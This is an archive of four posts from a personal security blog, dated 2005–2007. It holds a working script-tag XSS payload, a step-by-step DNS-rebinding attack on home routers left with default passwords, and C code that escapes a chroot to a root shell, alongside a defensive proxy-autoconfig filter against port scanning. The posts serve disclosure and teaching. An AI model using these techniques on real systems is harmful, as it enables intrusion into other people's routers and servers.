< August 2007 >
    1 2 3 4
5 6 7 8 91011
Mon, 20 Aug 2007:

I recently ran into a fairly generic XSS vector which didn't seem to be on the XSS cheatsheet. It seems to be a quirk of the way the DOM parser handles <script> tags and well, a broken JSON encoder. The vulnerability (or at least gotcha) exists when properly quoted strings are printed out inside a <script> node. A simplified exaple looks somewhat like this.

var a = "</script> <script> alert('XSS !'); </script> <script>";

For some strange reason, Firefox picks up the script closing tag in the quoted string and then proceeds to process the remaining script tags as code. Try it for yourself.

I discovered this problem inside a large/deep block of JSON. Thankfully, the php JSON encoder escapes the forward slash, but the JSON spec doesn't require that explicitly AFAIK. For instance, the standard python-json module which came with Ubuntu generates bad code to embed in a script segment (so, start using "import simplejson as json").

Quoting strings anywhere is complicated enough and if you ever need to dump stuff into a javascript segment, use a json encoder - a good one & not reinvent your own.

If I do not want others to quote me, I do not speak.
          -- Phil Wayne

posted at: 01:12 | path: /insecurity | permalink | Tags: , ,

Mon, 30 Apr 2007:

I've sort of been toying around with AttackAPI over the weekend and interestingly, I figured out that I was vulnerable to a lot of the attack vectors that were present. But what javascript causes, javascript can fix too. So here's a quick fix to prevent an intruder from portscanning your local network for ftp or other ports.

FindProxyForURL: The proxy autoconfig file can be used to filter out requests to the naughty port scanners. The aim is to detect a bad URL, redirect it to a proxy which will log the referrer and raise the corresponding alarms. And to parse out the URL properly, I use the following regex.

var urlRegex = new RegExp(
    "^(([^:/?#]+):)?"+ // scheme
    "(" +
        "(//)?"+ // delim
        "(([^@]+)@)?" + // userinfo
        "([^/?#:]*)?" + // host
        "(:([^/?#]+))?"+ // port
    "([^?#]*)"+  // path
    "(\\?([^#]*))?"+ // query
    "(#(.*))?$" // fragment

After parsing out the URL, my very simple filter checks for a port value which is suspicious (i.e below 1024 and not 80) and redirects it to my local logging proxy which eats the request. I still haven't figured out a way of leaving a honeypot for attackers to ensure there's a human at the other end.

function FindProxyForURL(url, host)
  var m = url.match(urlRegex);
  	var port = m[7];
	if(port != "" && port != "80" && port.length < 4)
	  return "PROXY";
  	return "PROXY";

  return "DIRECT";

It should be perfectly possible for this technique to be extended to prevent XSS exploits with javascript land checking for common XSS attack vectors. But the essential problem is that this particular function cannot maintain context easily. The previous request cannot affect the current one, nor the current one affect the next request. Having minimal ability to learn does cause a large number of problems for a really practical solution - but if there is already such a hook, it might be possible to hook an extension into it.

Too many people are thinking of security instead of opportunity.
                            -- James F. Byrnes

posted at: 01:23 | path: /insecurity | permalink | Tags: , ,

Fri, 09 Mar 2007:

Being a psuedo-security guy of sorts, I'd decided to jump back into insecurity land a couple of weeks back. I haven't really been into security-tech for quite a long time, having hung up my script kiddie slingshot a long time back. But of late, it has again started to look attractive - but more than mere implementation issues, I've been looking for true blue design issues.

Recently on IRC, dumbhead was defending his default password on his router, which is conveniently firewalled off from the WAN. In my attempts to prove that setup insecure, I discovered DNS Pinning. It has been truly enlightening to perform a cursory attack on a home router with a faked up nameserver (re-used my twisted.names code).

The first request immediately does an iframe with a made-up hostname to ensure that no dns caches interfere. The resolution of that host (say "mordor") looks somewhat like this.

;mordor.                     IN      A

mordor.              284     IN      A       xxx.xxx.xx.xx
mordor.              284     IN      A

Now there is a good probability that the first IP will be hit nearly immediately by the browser. The server is running a script which tails the access log as soon as that vhost is hit (for dynamic vhosts, install lighttpd-mod-mysql-vhost), marking the vhost in the table as "hit". A sudo'd python script hooks into the mysql table, flips that flag to "block" after running an iptables packet drop on dst port 80, src ip of the victim.

Thirty seconds after loading the first iframe, the code in there creates another iframe with src=document.location+"?xyz". Very soon, that frame loads up in the same domain as the attacking website. I've got a default exploit sequence, which opens up port 22 for the Huawei WA1003A router which BSNL is distributing these days - but this requires the default password to be unchanged.

But the default password might not be required with the more expensive routers. If I could run my first evil iframe on port 2869 to commit the b0rkage, I would essentially be able to access the UPnP which takes a bit of SOAP to reduce the NAT into swiss cheese. But I'm a bit too lazy to actually write out those SOAP calls using XmlHttp (hah, same domain). And all that *without* a single password.

Most people have dismissed the DNS feature as unusable for hacking most websites because it sends invalid Host: headers and without cookies. But none of the routers I've looked at so far care about that or even have javascript checks for iframes (not that it will affect XHR much).

Amazingly simple, elegant. And DNS has been around for only 20 years ...

PS: thanks for providing the domain - you know who you are :)

The Domain Name Server (DNS) is the Achilles heel of the Web.
                      -- Sir Tim Berners-Lee

posted at: 04:23 | path: /insecurity | permalink | Tags: , ,

Fri, 11 Nov 2005:

I don't usually boast about my hacking exploits, but this is one occasion when I can claim that I did the right thing by breaking the security of a linux server. Let me explain the scenario. Dotgnu.org was cracked by a bunch of script kiddies on November 1st. They defaced the website and left their message all over the website.

Cracker's message instead of dotgnu.org

These were a bunch of script kiddies who were using a canned script targetting phpnuke installation on the same box which was serving getdotgnu.com. We managed to track them down immediately, thanks to help of many dotgnu people (and others as well). Some people had very funny stuff to say about the incident like this blog. It got to the stage where the kids came to #dotgnu and sort of apologized. They all do when pushed to a wall and held there.

[02:28] <DigitalMind> no comments
[02:28] <DigitalMind> peace
[02:32] <Belial-> Digitalmind: I wouldn't call you hackers but script kiddies
[02:32] <Digitalmind> we arent hackers
[02:32] <Digitalmind> if u think we are script kids
[02:32] <Digitalmind> we dont really care
[02:33] <Digitalmind> im the founder of digitalmind
[02:39] <Digitalmind> we never called our selfs hacker
[02:39] <Belial-> Digitalmind: you're in the wrong crowd if you want praise
[02:39] <Belial-> what you're doing is easy and wrong
[02:40] <Digitalmind> and i came here in peace
[02:40] <Digitalmind> i dont want to fight
[02:40] <Digitalmind> and shit like that
[02:42] <Belial-> if you ever grow out of that phase maybe you can be a real programmer too
[02:42] <t3rmin4t0r> some of us did
[02:47] <Digitalmind> peace
[02:47] <t3rmin4t0r> forgiven, but not forgotten

For the last 10 days the server has just been hanging there without a proper admin to restore the code. Thankfully I had a login on that particular box which hosts the server, because it hosts this blog too. Also we had got a new domain called maybe.dotgnu.info for the google Summer of Code intern (krokas), which was running debian. The first domain was running hardened gentoo (from what I can read/guess). I had root on maybe.dotgnu.info, but not on the gentoo chroot which was hosting dotgnu.org and t3.dotgnu.info. So here's how you break out of a chroot if you already have root access and why FreeBSD jail() is a LOT safer than a chroot'ed server.

The exploit is based on the fact that chroots are flat. There is no such thing as a nested chroot. So when you chroot from inside a chroot, you are doing the equivalent of a single chroot. The scary part is that the application which did a chroot can traverse out if it has root privileges - but which is not applicable for an application started inside a chroot. Voila, an easily exploitable hole.

int main()
	int i;
	char dirtemp[] = "/tmp/chroot-breaker-XXXXXX";
	assert(mkdtemp(dirtemp) != NULL);
	assert(chroot(dirtemp) >= 0);
	for(int i = 0; i < 1024; i++) chdir("..");
	assert(chroot(".") >= 0);
	assert(execl("/bin/sh", "-i", NULL) >= 0);
	return 0;

The ready to use break_chroot.c. Could it be any more simpler ? So next time you set up a server properly, make sure you set it up with something like User Mode Linux or Xen, rather than just relying on a chroot for security.

And to think I spent 4 hours writing shell code for the do_brk() attack vector. Sometimes simple solutions work out very nicely indeed. Anyway the important part is that, dotgnu.org is back and running.

I felt that old rush of illicit pleasure coming back - after all, God, root, what is difference ?.

* My next box is your linux server

posted at: 02:40 | path: /hacks | permalink | Tags: ,